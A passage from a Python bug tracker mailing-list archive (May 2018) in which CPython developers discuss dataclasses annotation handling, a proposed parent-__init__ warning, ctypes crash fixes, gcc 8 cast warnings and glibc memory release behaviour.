<1525899000.83.0.682650639539.issue33452@psf.upfronthosting.co.za> New submission from Rick Teachey : The dataclasses module is incredibly easy to use. This is a good thing. BUT one downside is it will definitely be utilized by people who don't have a thorough understanding of how it does what it does. Even for me, despite having a very good understanding of how it works, after heavily using it on a project for about 3 weeks now I made a mistake like the one below: class ImportantMixin: def __init__(self): super().__init__() important_task() @dataclass class NaiveDClass(ImportantMixin): data1 = int data2 = int I then went on along my merry way. Obviously, ImportantMixin.__init__ never gets called and I didn't realize this until it was a bigger problem than it should have been (should have written better tests! but I digress). It would seem like a good idea for the dataclasses module to let the user know they did this, probably via the warning system. Seems like it would be relatively easy to do: if there is an init method being create, just inspect the MRO for any previously defined init methods that weren't created by dataclasses. Thanks. ---------- components: Library (Lib) messages: 316331 nosy: Ricyteach, eric.smith priority: normal severity: normal status: open title: add user notification that parent init will not be called in dataclass init method type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:30:30 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 09 May 2018 21:30:30 +0000 Subject: [issue33015] Fix function cast warning in thread_pthread.h In-Reply-To: <1520362573.83.0.467229070634.issue33015@psf.upfronthosting.co.za> Message-ID: <1525901430.67.0.682650639539.issue33015@psf.upfronthosting.co.za> Steve Dower added the comment: Can't we just fix the cast? We shouldn't have to do heap allocations for this. ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:38:42 2018 From: report at bugs.python.org (Rick Teachey) Date: Wed, 09 May 2018 21:38:42 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar handling Message-ID: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> New submission from Rick Teachey : This is broken in 3.7 (both beta 3 and 4): from __future__ import annotations from dataclasses import dataclass from typing import ClassVar, Any @dataclass class C(): class_var: ClassVar[Any] = object() data: str Traceback: Traceback (most recent call last): File "", line 1, in File "C:\Users\ricky\AppData\Local\Programs\Python\Python37\lib\dataclasses.py", line 850, in dataclass return wrap(_cls) File "C:\Users\ricky\AppData\Local\Programs\Python\Python37\lib\dataclasses.py", line 842, in wrap return _process_class(cls, init, repr, eq, order, unsafe_hash, frozen) File "C:\Users\ricky\AppData\Local\Programs\Python\Python37\lib\dataclasses.py", line 763, in _process_class else 'self', File "C:\Users\ricky\AppData\Local\Programs\Python\Python37\lib\dataclasses.py", line 442, in _init_fn raise TypeError(f'non-default argument {f.name!r} ' TypeError: non-default argument 'data' follows default argument ---------- components: Library (Lib) messages: 316333 nosy: Ricyteach, eric.smith priority: normal severity: normal status: open title: from __future__ import annotations breaks dataclasses ClassVar handling type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:39:00 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 09 May 2018 21:39:00 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525901940.13.0.682650639539.issue21983@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset d518d8bc8d5dac1a1270612f424d33e0e5afc2b5 by Steve Dower (Oren Milman) in branch 'master': bpo-21983: Fix a crash in ctypes.cast() when passed a ctypes structured data type (GH-3859) https://github.com/python/cpython/commit/d518d8bc8d5dac1a1270612f424d33e0e5afc2b5 ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:39:41 2018 From: report at bugs.python.org (Rick Teachey) Date: Wed, 09 May 2018 21:39:41 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525901981.42.0.682650639539.issue33453@psf.upfronthosting.co.za> Rick Teachey added the comment: To be clear: it works just fine with the annotations import. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:40:00 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 09 May 2018 21:40:00 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525902000.82.0.682650639539.issue21983@psf.upfronthosting.co.za> Change by Steve Dower : ---------- assignee: -> steve.dower stage: patch review -> backport needed versions: +Python 3.8 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:40:12 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 21:40:12 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525902012.07.0.682650639539.issue21983@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6433 stage: backport needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:40:36 2018 From: report at bugs.python.org (Rick Teachey) Date: Wed, 09 May 2018 21:40:36 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525902036.95.0.682650639539.issue33453@psf.upfronthosting.co.za> Rick Teachey added the comment: Sorry, mean to say it works just fine *without* the import. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:42:08 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 21:42:08 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525902128.0.0.682650639539.issue21983@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6434 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:44:27 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 09 May 2018 21:44:27 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525902267.47.0.682650639539.issue21983@psf.upfronthosting.co.za> Steve Dower added the comment: The backport to 2.7 needs some help. I can't do it on my laptop for the next week, but I'll try to get to it eventually. Feel free to get there first. ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 17:50:52 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 09 May 2018 21:50:52 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525902652.15.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: This is a known issue, but it wasn't being tracked here. So, thanks for opening the issue. https://github.com/ericvsmith/dataclasses/issues/92#issuecomment-382473127 Not to put ?ukasz on the spot (he's sitting behind me even as we speak), but I think we missed the window for 3.7.0 for this. I'll discuss it with him. ---------- nosy: +lukasz.langa title: from __future__ import annotations breaks dataclasses ClassVar handling -> from __future__ import annotations breaks dataclasses ClassVar and InitVar handling _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 18:28:01 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 09 May 2018 22:28:01 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1525904881.23.0.682650639539.issue21983@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 8ac158a6dfb86880e22003afe0ff39ec31b0a094 by Miss Islington (bot) in branch '3.6': bpo-21983: Fix a crash in ctypes.cast() when passed a ctypes structured data type (GH-3859) https://github.com/python/cpython/commit/8ac158a6dfb86880e22003afe0ff39ec31b0a094 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 18:38:47 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 09 May 2018 22:38:47 +0000 Subject: [issue33452] add user notification that parent init will not be called in dataclass init method In-Reply-To: <1525899000.83.0.682650639539.issue33452@psf.upfronthosting.co.za> Message-ID: <1525905527.56.0.682650639539.issue33452@psf.upfronthosting.co.za> Eric V. Smith added the comment: I'm okay with the concept, but I don't know how to implement it. You need to not only know if a class has a __init__, but also if it's expected to be called. For example, these don't normally get called, but if you inherit from them (and everyone does inherit from object) you don't want a warning. >>> hasattr(int, '__init__') True >>> hasattr(object, '__init__') True I'm open to ideas. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 18:49:51 2018 From: report at bugs.python.org (Greg Onufer) Date: Wed, 09 May 2018 22:49:51 +0000 Subject: [issue16733] Solaris ctypes_test failures In-Reply-To: <1355959487.2.0.457059136813.issue16733@psf.upfronthosting.co.za> Message-ID: <1525906191.74.0.682650639539.issue16733@psf.upfronthosting.co.za> Greg Onufer added the comment: Or probably just change the type of the bitfield from "int" to "signed int"! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 18:54:00 2018 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 09 May 2018 22:54:00 +0000 Subject: [issue33452] add user notification that parent init will not be called in dataclass init method In-Reply-To: <1525899000.83.0.682650639539.issue33452@psf.upfronthosting.co.za> Message-ID: <1525906440.76.0.682650639539.issue33452@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- assignee: -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 19:20:59 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 09 May 2018 23:20:59 +0000 Subject: [issue27675] IDLE file completion has 2 bugs depending on open quote used In-Reply-To: <1470237103.73.0.416964160416.issue27675@psf.upfronthosting.co.za> Message-ID: <1525908059.12.0.682650639539.issue27675@psf.upfronthosting.co.za> Cheryl Sabella added the comment: Thanks, Terry! I'm able to recreate the autocomplete issue on Windows 7 using 3.6.3, but not on Ubuntu. As you said, the color issue seems fine now for both platforms. I'll take a look at those other issues for the test cases. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 22:27:36 2018 From: report at bugs.python.org (Rick Teachey) Date: Thu, 10 May 2018 02:27:36 +0000 Subject: [issue33452] add user notification that parent init will not be called in dataclass init method In-Reply-To: <1525899000.83.0.682650639539.issue33452@psf.upfronthosting.co.za> Message-ID: <1525919256.17.0.682650639539.issue33452@psf.upfronthosting.co.za> Rick Teachey added the comment: The init method that comes up for int, str, float, etc is just the object init: assert int.__init__ is object.__init__ Probably the thing to do is grab any init methods that aren't the object.__init__ while stripping out the dataclass-created init methods? Maybe something like: import warnings if cls.__dataclass_params__.init: for pcls in cls.mro(): if pcls.__init__ is not object.__init__: try: d_params = getattr(pcls, "__dataclass_params__") except AttributeError: warnings.warn('Found a not called init') else: if not d_params.init: warnings.warn('Found a custom dataclass init') ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 23:07:34 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 10 May 2018 03:07:34 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525921654.0.0.682650639539.issue33453@psf.upfronthosting.co.za> ?ukasz Langa added the comment: Well, this is a rather big deal and I'd like to see it solved for 3.7.0. Ned, this is after the last beta but as far as I understand, we're still Note that this isn't specific to the `annotations` future import. If a user actually writes: field: "ClassVar[SomeTypeReferencedLater]" = get_some_type_object() the effect is the same. There are two ways to solve it, the right way and the fast way. The right way is to call `get_type_hints()` on the class which forces evaluation of all type annotations (including in base classes, if any). That way you can keep using your existing hack to check if a thing is a ClassVar. However, it's slow because it: - forces evaluation of all type annotations at import time, which is even slower than without the `annotations` future import because now you're tokenizing, creating the AST and the code objects, too; and - you force an import of typing for all users, regardless whether they use any annotations or not. This is why attrs went with the fast way which covers most (but not all) bases in this case. If the annotation is a string, just check if it starts with "typing.ClassVar", "t.ClassVar", or just "ClassVar". That's a fast check and doesn't ever require importing typing. On the flip side, the 0.001% of users [1]_ who import ClassVar differently, will not have their class variables recognized. So, Eric, unless you really want to do the right thing here and make dataclasses forever slower to start up than attrs, I would be happy to provide you with a patch for this during sprints. [1] .. Figure made up on the spot. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 23:08:11 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 10 May 2018 03:08:11 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525921691.55.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by ?ukasz Langa : ---------- Removed message: https://bugs.python.org/msg316344 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 23:08:42 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Thu, 10 May 2018 03:08:42 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525921721.99.0.682650639539.issue33453@psf.upfronthosting.co.za> ?ukasz Langa added the comment: Well, this is a rather big deal and I'd like to see it solved for 3.7.0. Ned, this is after the last beta but as far as I understand, we're still fine committing fixes that maintain ABI until RC1, right? Note that this isn't specific to the `annotations` future import. If a user actually writes: field: "ClassVar[SomeTypeReferencedLater]" = get_some_type_object() the effect is the same. There are two ways to solve it, the right way and the fast way. The right way is to call `get_type_hints()` on the class which forces evaluation of all type annotations (including in base classes, if any). That way you can keep using your existing hack to check if a thing is a ClassVar. However, it's slow because it: - forces evaluation of all type annotations at import time, which is even slower than without the `annotations` future import because now you're tokenizing, creating the AST and the code objects, too; and - you force an import of typing for all users, regardless whether they use any annotations or not. This is why attrs went with the fast way which covers most (but not all) bases in this case. If the annotation is a string, just check if it starts with "typing.ClassVar", "t.ClassVar", or just "ClassVar". That's a fast check and doesn't ever require importing typing. On the flip side, the 0.001% of users [1]_ who import ClassVar differently, will not have their class variables recognized. So, Eric, unless you really want to do the right thing here and make dataclasses forever slower to start up than attrs, I would be happy to provide you with a patch for this during sprints. [1] .. Figure made up on the spot. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 9 23:44:03 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 10 May 2018 03:44:03 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525923843.87.0.682650639539.issue33453@psf.upfronthosting.co.za> Ned Deily added the comment: > Ned, this is after the last beta but as far as I understand, we're still fine committing fixes that maintain ABI until RC1, right? Yes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 01:16:28 2018 From: report at bugs.python.org (Massimiliano Culpo) Date: Thu, 10 May 2018 05:16:28 +0000 Subject: [issue32288] Inconsistent behavior with slice assignment? In-Reply-To: <1525858386.96.0.682650639539.issue32288@psf.upfronthosting.co.za> Message-ID: Massimiliano Culpo added the comment: Hi Serhiy, I briefly checked out Python 3.7.0b3, and saw no changes with respect to: - Documenting what is the exact meaning of "extended slice" (but that now is also tracked by issue 32289) - Improving the docstring of list.insert (to say that [1, 2, 3, 4].insert(-101, 0) is allowed?) - Fixing the inconsistent behavior for slices with step == -1 If I missed anything, please let me know. Otherwise, from my side, I think it only depends on whether you want to track these issues (or even if you consider any of the above an issue). Cheers, On Wed, May 9, 2018 at 11:33 AM, Serhiy Storchaka wrote: > > Serhiy Storchaka added the comment: > > So this issue can be closed now? > > ---------- > nosy: +serhiy.storchaka > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 02:41:06 2018 From: report at bugs.python.org (Siddhesh Poyarekar) Date: Thu, 10 May 2018 06:41:06 +0000 Subject: [issue33015] Fix function cast warning in thread_pthread.h In-Reply-To: <1520362573.83.0.467229070634.issue33015@psf.upfronthosting.co.za> Message-ID: <1525934466.22.0.682650639539.issue33015@psf.upfronthosting.co.za> Siddhesh Poyarekar added the comment: gcc8.1 throws this warning irrespective of the cast since converting function pointers may result in undefined behaviour unless it is cast back to its original type. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 03:42:19 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 07:42:19 +0000 Subject: [issue32375] Compilation warnings in getpath.c with gcc on Ubuntu / -D_FORTIFY_SOURCE=2 In-Reply-To: <1513695924.3.0.213398074469.issue32375@psf.upfronthosting.co.za> Message-ID: <1525938139.6.0.682650639539.issue32375@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Warnings are emitted when compile with gcc-5, gcc-6 and gcc-7, but not when compile with gcc-4.8 or gcc-8. Versions: gcc-4.8 (Ubuntu 4.8.5-4ubuntu8) 4.8.5 gcc-5 (Ubuntu 5.5.0-12ubuntu1) 5.5.0 20171010 gcc-6 (Ubuntu 6.4.0-17ubuntu1) 6.4.0 20180424 gcc-7 (Ubuntu 7.3.0-16ubuntu3) 7.3.0 gcc-8 (Ubuntu 8-20180414-1ubuntu2) 8.0.1 20180414 (experimental) [trunk revision 259383] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 03:59:16 2018 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 10 May 2018 07:59:16 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525939156.39.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: See also [2]_ for a brief discussion of forward references, which makes get_type_hints() undesirable in this case. > This is why attrs went with the fast way which covers most (but not all) bases in this case. If the annotation is a string, just check if it starts with "typing.ClassVar", "t.ClassVar", or just "ClassVar". That's a fast check and doesn't ever require importing typing. On the flip side, the 0.001% of users [1]_ who import ClassVar differently, will not have their class variables recognized. I'm okay with the fast check for the string "ClassVar". My only concern is how the user would figure out what's going on, if for example they "import typing as T". The generated __init__ wouldn't have the params they expect, but with default values thrown in I'm not so sure how quickly they'd notice. Hopefully they'd figure out soon enough there's a problem, but I'm not sure they'd know the cause if it. Maybe we could do some additional checking if typing has been imported? If we see "T.ClassVar" ("[identifier].ClassVar" appears at the beginning of the string) then if typing has been imported, further check that "T is typing"? Although this isn't going to help with "from typing import ClassVar as CV" (but only 0.00004% of users would do that [3]_) and I don't want to use regex's for this. str.partition() is likely good enough, if we decide to go this route. Is there any scenario where the following code would be useful, or expected to work, if "import typing as T" hadn't been executed before @dataclass runs? After all, if we do decide to call get_type_hints() it wouldn't work without it. field: "T.ClassVar[SomeTypeReferencedLater]" = get_some_type_object() But again, unless [2]_ is addressed, get_type_hints() will fail unless both T and SomeTypeReferencedLater are known when @dataclass runs, if we used get_type_hints(). So, I guess this is my roundabout way of saying we should do the best we can with string inspection, and not use get_type_hints(). Maybe we can discuss it with Guido at the sprints. For all of this, I'm assuming we'll do something similar with InitVar. Although we obviously know it's been imported, it doesn't solve all of the other issues with get_type_hints. [2] .. https://github.com/python/typing/issues/508 [3] .. Also a made up number. ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 04:10:37 2018 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 10 May 2018 08:10:37 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525939837.39.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: I see that https://github.com/python/typing/issues/508 is also referenced in https://github.com/python-attrs/attrs/issues/361, where it contributed to attrs using string inspection. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 04:27:33 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 08:27:33 +0000 Subject: [issue20171] Derby #2: Convert 115 sites to Argument Clinic in Modules/_cursesmodule.c In-Reply-To: <1389138236.79.0.916600121015.issue20171@psf.upfronthosting.co.za> Message-ID: <1525940853.05.0.682650639539.issue20171@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset b00854caa080cec613496d3a5e1b0891c9ff83e6 by Serhiy Storchaka in branch 'master': bpo-20171: Convert the _curses and _curses_panel modules to Argument Clinic. (GH-4251) https://github.com/python/cpython/commit/b00854caa080cec613496d3a5e1b0891c9ff83e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 05:50:58 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Thu, 10 May 2018 09:50:58 +0000 Subject: [issue33450] unexpected EPROTOTYPE returned by sendto on MAC OSX In-Reply-To: <1525892699.63.0.682650639539.issue33450@psf.upfronthosting.co.za> Message-ID: <1525945858.46.0.682650639539.issue33450@psf.upfronthosting.co.za> Ronald Oussoren added the comment: The second link contains an explanation of what's going on, and that this is unexpected behaviour of the macOS kernel. I'm not sure what we could do about this, the blog post explains that this error can happen when send(2) is called while the socket is teared down. A possible workaround (based on reading the blog post and without fully analysing the side effects) is to treat EPROTOTYPE the same as EGAIN in the python wrappers for send/write/sendto. That's easier said than done though, socketmodule.c indirectly calls socket functions through a helper function that does some bookkeeping (including handling EGAIN) and is used for more than just the send calls. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:17:56 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:17:56 +0000 Subject: [issue33454] Mismatched C function signature in _xxsubinterpreters.channel_close() Message-ID: <1525947476.64.0.682650639539.issue33454@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The C function that implements _xxsubinterpreters.channel_close() is defined with the signature PyObject *channel_close(PyObject *self, PyObject *args, PyObject *kwds) which corresponds the method convention METH_VARARGS | METH_KEYWORDS, but is used with the incompatible method convention METH_VARARGS. Either the signature or flags are not correct. Actually it can use just METH_O. The proposed PR changes both signature and flags and simplifies the implementation. The bug was found thanks to gcc 8 emitting a warning for invalid function cast (it also emits a lot of false alarms). See also issue33012. ---------- components: Extension Modules messages: 316354 nosy: eric.snow, serhiy.storchaka, siddhesh priority: normal severity: normal status: open title: Mismatched C function signature in _xxsubinterpreters.channel_close() type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:20:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:20:15 +0000 Subject: [issue33454] Mismatched C function signature in _xxsubinterpreters.channel_close() In-Reply-To: <1525947476.64.0.682650639539.issue33454@psf.upfronthosting.co.za> Message-ID: <1525947615.42.0.682650639539.issue33454@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6435 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:22:47 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:22:47 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525947767.27.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6436 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:23:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:23:03 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525947783.97.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6437 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:28:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:28:54 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525948134.02.0.682650639539.issue33012@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The following PRs fix warnings in casts to PyCFunction for method conventions different from METH_NOARGS, METH_O and METH_VARARGS. PR 6748 does this for Argument Clinic generated code (all files except Tools/clinic/clinic.py are generated). PR 6749 does it for hand-written code. It also fixes few missed or new cases for METH_NOARGS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:31:15 2018 From: report at bugs.python.org (Charalampos Stratakis) Date: Thu, 10 May 2018 10:31:15 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525948275.86.0.682650639539.issue33012@psf.upfronthosting.co.za> Charalampos Stratakis added the comment: Is it possible/feasible to fix that for the 3.7 and 3.6 branches as well? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:33:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 10:33:43 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525948423.26.0.682650639539.issue33012@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also issue33454 about a real bug found thanks to these warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 06:55:35 2018 From: report at bugs.python.org (Ethan Smith) Date: Thu, 10 May 2018 10:55:35 +0000 Subject: [issue32942] Regression: test_script_helper fails In-Reply-To: <1519513656.28.0.467229070634.issue32942@psf.upfronthosting.co.za> Message-ID: <1525949735.14.0.682650639539.issue32942@psf.upfronthosting.co.za> Ethan Smith added the comment: For reference this is happening with a clean checkout and build of master for me, which seems like it shouldn't be the case... ---------- nosy: +Ethan Smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 07:06:21 2018 From: report at bugs.python.org (whitespacer) Date: Thu, 10 May 2018 11:06:21 +0000 Subject: [issue33444] Memory leak/high usage on copy in different thread In-Reply-To: <1525778806.98.0.682650639539.issue33444@psf.upfronthosting.co.za> Message-ID: <1525950381.04.0.682650639539.issue33444@psf.upfronthosting.co.za> whitespacer added the comment: pitrou, thanks for great diagnosing program! You are right that there is no memory leak. We have investigated this issue a little bit more - it looks real reason for large memory consuming in the end is not fragmentation, just glibc doesn't release all free memory. So what happens in this example (according to http://man7.org/linux/man-pages/man3/mallopt.3.html): 1) More threads leads to creating of more arenas (e.g. to more sub-heaps). It can be tested with setting environment variable MALLOC_ARENA_MAX to 1 - memory consumption in example will be reduced significantly. But this can be used in real code, performance will degrade. 2) Heap trim threshold (M_TRIM_THRESHOLD) is calculated dynamically. Creation and deletion of small arrays leads to M_MMAP_THRESHOLD=2*4*1024*1024*sizeof(long) on 64 bit systems. So each sub-heap in each arena can have up to 64 mb (if long is 8 bytes) of untrimmed space. It can be tested with setting environment variable MALLOC_TRIM_THRESHOLD_ to 128*1024 - memory consumption in example will be reduced significantly because dynamic calculation of trim threshold will be turned off. Again I doubt this can be used in real code. 3) Maxiumum number of arenas vary on number of cpu's. On my system it looks like it is set to 16. So I get around 16*64 of untrimmed space. To conclude: There is similar bug in python tracker: https://bugs.python.org/issue11849. Message https://bugs.python.org/msg134992 states that nothing can be done in some cases (like in attached example). One possible solution is to use jemalloc - we have tested that it doesn't have such problems. Limiting maximum number of arenas also helps, but can degrade performance. ---------- nosy: +whitespacer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 08:35:34 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 10 May 2018 12:35:34 +0000 Subject: [issue32216] Document PEP 557 Data Classes (dataclasses module) In-Reply-To: <1512439511.23.0.213398074469.issue32216@psf.upfronthosting.co.za> Message-ID: <1525955734.79.0.682650639539.issue32216@psf.upfronthosting.co.za> Ned Deily added the comment: We really need to get this done prior to 370rc1 coming up on 05-21. ---------- priority: deferred blocker -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 08:45:34 2018 From: report at bugs.python.org (pmpp) Date: Thu, 10 May 2018 12:45:34 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525956334.96.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by pmpp : ---------- nosy: +pmpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 09:38:53 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 10 May 2018 13:38:53 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525959533.77.0.682650639539.issue26701@psf.upfronthosting.co.za> Nick Coghlan added the comment: New changeset df00f048250b9a07195b0e3b1c5c0161fdcc9db8 by Nick Coghlan (Serhiy Storchaka) in branch 'master': bpo-26701: Tweak the documentation for special methods in int(). (GH-6741) https://github.com/python/cpython/commit/df00f048250b9a07195b0e3b1c5c0161fdcc9db8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 09:39:09 2018 From: report at bugs.python.org 